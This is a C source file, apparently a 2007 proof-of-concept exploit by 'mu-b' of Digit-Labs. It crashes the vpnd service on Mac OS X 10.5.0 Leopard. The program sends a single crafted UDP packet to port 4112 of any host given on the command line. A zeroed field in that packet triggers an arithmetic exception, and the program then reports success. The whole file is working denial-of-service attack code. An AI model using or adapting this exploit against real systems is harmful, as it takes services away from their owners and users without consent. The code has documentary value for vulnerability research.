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/* vpnd-leopard-lb-dos.c
*
* Copyright (c) 2007 by <mu-b@digit-labs.org>
*
* Apple MACOS X 10.5.0 (leopard) vpnd remote DoS POC
* by mu-b - Fri 9 Nov 2007
*
* - Tested on: Apple MACOS X 10.5.0 (leopard) vpnd
*
* Program received signal EXC_ARITHMETIC, Arithmetic exception.
* 0x00004828 in accept_connections ()
*
* - Private Source Code -DO NOT DISTRIBUTE -
* http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#define DEF_PORT 4112
#define PORT_VPND DEF_PORT
static char abuf[] =
"\x00\x01\x00\x18"
"\x00\x00\x00\x00"
"\xd5\xa5\xf9\xc3"
"\x00\x00" /* [edi+0Ch] -> ecx == 0 */
"\x00\x00\x00\x00"
"\x00\x00\x00\x00"
"\x00\x00";
static void zattack (char *host);
static void
zattack (char *host)
{
struct sockaddr_in address;
struct hostent *hp;
int fd, n;
if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) == -1)
{
perror ("socket()");
exit (EXIT_FAILURE);
}
if ((hp = gethostbyname (host)) == NULL)
{
perror ("gethostbyname()");
exit (EXIT_FAILURE);
}
memset (&address, 0, sizeof (address));
memcpy ((char *) &address.sin_addr, hp->h_addr, hp->h_length);
address.sin_port = htons (PORT_VPND);
printf ("+Attacking %s:%d\n", host, PORT_VPND);
n = sendto (fd, abuf, sizeof abuf - 1, 0, (struct sockaddr *) &address, sizeof address);
if (n != sizeof abuf - 1)
{
fprintf (stderr, "zattack: sendto %d != %d\n", n, sizeof abuf - 1);
exit (EXIT_FAILURE);
}
close (fd);
}
int
main (int argc, char **argv)
{
printf ("Apple MACOS X 10.5.0 (leopard) vpnd remote DoS PoC\n"
"by: <mu-b@digit-labs.org>\n"
"http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");
if (argc <= 1)
{
fprintf (stderr, "Usage: %s <host>\n", argv[0]);
exit (EXIT_SUCCESS);
}
zattack (argv[1]);
printf ("+Wh00t!\n");
return (EXIT_SUCCESS);
}
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